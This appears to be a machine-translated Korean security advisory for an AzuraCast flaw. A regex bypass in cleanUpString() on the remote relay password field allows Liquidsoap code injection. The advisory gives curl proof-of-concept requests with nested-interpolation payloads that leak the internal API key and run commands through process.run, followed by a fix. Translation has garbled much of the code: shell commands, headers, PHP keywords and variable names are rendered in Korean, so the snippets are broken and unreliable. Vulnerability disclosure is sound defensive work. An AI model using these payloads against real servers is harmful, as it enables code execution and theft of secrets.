원격 릴레이 암호 필드의 불완전한 cleanUpString-to-RawString 마이그레이션을 통한 Liquidsoap 코드 주입에 취약한 AzuraCast
ConfigWriter.php의 cleanUpString() 메서드는 탐욕스럽지 않은 정규식을 사용하여 사용자 입력에서 Liquidsoap 문자열 보간 패턴(#{...})을 제거합니다. 이 정규식은 중첩 보간 구문(#{#{EXPR}})을 통해 우회할 수 있으므로 임의의 Liquidsoap 코드를 삽입할 수 있습니다. Commit ff49ef4는 대부분의 사용자 제어 필드를 안전한 toRawString() 메서드로 마이그레이션했지만 취약한 cleanUpString()을 사용하여 원격 릴레이 비밀번호 필드를 남겨 두었습니다. 'RemoteRelays' 스테이션 권한이 있는 사용자는 Liquidsoap 프로세스에서 임의 코드 실행을 달성하거나, 내부 API 키를 유출하거나, 스테이션 작동을 방해할 수 있습니다.
backend/src/Radio/Backend/Liquidsoap/ConfigWriter.php:1349-1367의 cleanUpString():
``php 공용 정적 함수 cleanUpString(?string $string): 문자열 { $string = str_replace(['"', "\n", "\r"], [''', '', ''], $string ?? '');
// 보간된 문자열을 제거합니다.
$string = preg_replace(
'/#{(.*)}/U', // Ungreedy: 최소 문자를 첫 번째 문자와 일치 }
'$1',
$string
);
$string = preg_replace(
'/\$\((.*)\)/U',
'$1',
$ 문자열 ?? ''
);
$string을 반환 ?? '';
}
`/U`(탐욕스럽지 않은) 플래그를 사용하면 `.*`가 첫 `}`까지 **최소** 문자와 일치하게 됩니다. 중첩된 입력 `#{#{EXPR}}` 사용:
1. 정규식은 위치 0에서 `#{`을 찾습니다.
2. 탐욕스럽지 않은 `.*`는 `#{EXPR`과 일치합니다(**첫 번째** `}`에서 중지)
3. 전체 일치 항목 사용: `#{#{EXPR}` — 캡처 그룹 `$1`로 대체하면 다음이 발생합니다. `#{EXPR`
4. 정규식 엔진에 의해 후행 `}`가 추가됩니다(일치 범위 외부에 있음).
5. **최종 결과: `#{EXPR}`** — 유효한 Liquidsoap 문자열 보간 표현식
### 불완전한 패치
호스트, 사용자 이름, 마운트, 이름, 설명, 장르 및 URL 필드를 올바르게 마이그레이션한 `ff49ef4`("보간을 피하기 위해 사용자 입력 문자열에 원시 문자열 사용", 2026-03-06)를 `toRawString()`에 커밋합니다. 그러나 비밀번호 필드는 `cleanUpString()`을 사용하여 남겨졌습니다.
`ConfigWriter.php:1208-1215`:
``php
$password = self::cleanUpString($source->password); // 여전히 취약함
$adapterType = $source->adapterType;
if (FrontendAdapters::Shoutcast === $adapterType) {
$password .= ':#' . $id;
}
$outputParams[] = '비밀번호 = "' . $비밀번호 . '"'; // 큰따옴표 = 보간됨
비밀번호는 '#{...}' 보간 표현식을 평가하는 Liquidsoap 큰따옴표로 묶인 문자열에 포함되어 있습니다.
toRawString()은 보간을 수행하지 않는 Liquidsoap 원시 문자열 구분 기호({str_xxxxx|...|str_xxxxx})를 사용하여 이 공격 클래스에 면역이 됩니다.
source_password와 함께 PUT /api/station/{station_id}/remote/{id}를 보냅니다.mb_substr을 통해 100자로 자릅니다(페이로드는 이 제한 내에 맞습니다).ConfigWriter::getOutputString()은 비밀번호에 대해 cleanUpString()을 호출합니다.``배쉬
컬 -X PUT "http://azuracast.local/api/station/1/remote/1"
-H "X-API-키: $API_KEY"
-H "콘텐츠 유형: 애플리케이션/json"
-d '{"source_password": "#{#{settings.azuracast.api_key()}}"}'
`cleanUpString()` 처리 후 비밀번호는 `#{settings.azuracast.api_key()}`가 됩니다.
Liquidsoap이 구성을 로드하면 생성된 줄은 다음과 같습니다.
비밀번호 = "#{settings.azuracast.api_key()}"
내부 API 키 값을 평가한 후 원격 릴레이 서버에 비밀번호로 전송됩니다. 공격자가 릴레이 엔드포인트를 제어하는 경우 공격자가 관찰할 수 있습니다.
### 2단계: 원격 코드 실행(54자)
``배쉬
# 인용 필터링을 우회하기 위해 string.char()를 사용하는 RCE 페이로드
컬 -X PUT "http://azuracast.local/api/station/1/remote/1" \
-H "X-API-키: $API_KEY" \
-H "콘텐츠 유형: 애플리케이션/json" \
-d '{"source_password": "#{#{process.run(string.char(105)^string.char(100))}}"}'
처리 후: #{process.run(string.char(105)^string.char(100))} → id 명령을 실행합니다.
string.char() 및 ^ 연결 연산자는 큰따옴표 없이 명령 문자열을 작성하는 데 사용됩니다(cleanUpString은 작은따옴표로 대체되며 Liquidsoap은 작은따옴표로 묶인 문자열을 지원하지 않습니다).
스테이션을 다시 시작하거나 스테이션 설정을 수정하여 Liquidsoap 구성 재생성을 강제하십시오. 페이로드는 Liquidsoap이 새 구성을 로드할 때 실행됩니다.
동일한 우회는 두 번째 정규식 /\$\((.*)\)/U를 통해 $($(EXPR))에서 작동합니다.
process.run()을 통해 Liquidsoap 프로세스 컨테이너 내에서 임의 코드 실행RemoteRelays 스테이션 권한만 필요합니다.커밋 ff49ef4의 다른 모든 필드에 적용된 수정 사항과 일치하도록 비밀번호 필드의 cleanUpString()을 toRawString()으로 바꾸세요. 원시 문자열과 함께 작동하려면 Shoutcast 접미사 추가를 조정해야 합니다.
``php // 이전(취약함): $password = self::cleanUpString($source->password); $adapterType = $source->adapterType; if (FrontendAdapters::Shoutcast === $adapterType) { $password .= ':#' . $id; } $outputParams[] = 'password = "' . $password . '"';
// 이후(안전): $password = $source->password ?? ''; $adapterType = $source->adapterType; if (FrontendAdapters::Shoutcast === $adapterType) { $password .= ':#' . $id; } $outputParams[] = '비밀번호 = ' . self::toRawString($password);
이는 호스트, 사용자 이름, 마운트 및 기타 모든 사용자 제어 필드에 이미 사용된 접근 방식과 일치하여 모든 보간을 방지하는 원시 문자열 구분 기호를 사용합니다.
또한 `toRawString()`은 모든 Liquidsoap 문자열 값에 대한 올바른 접근 방식이므로 `cleanUpString()`을 완전히 제거하거나 더 이상 사용되지 않는 것으로 표시하는 것이 좋습니다. 나머지 발신자는 모두 마이그레이션되어야 합니다.
왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도 | 88.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 88.00 |
VPI 공식 vpi-v1 기준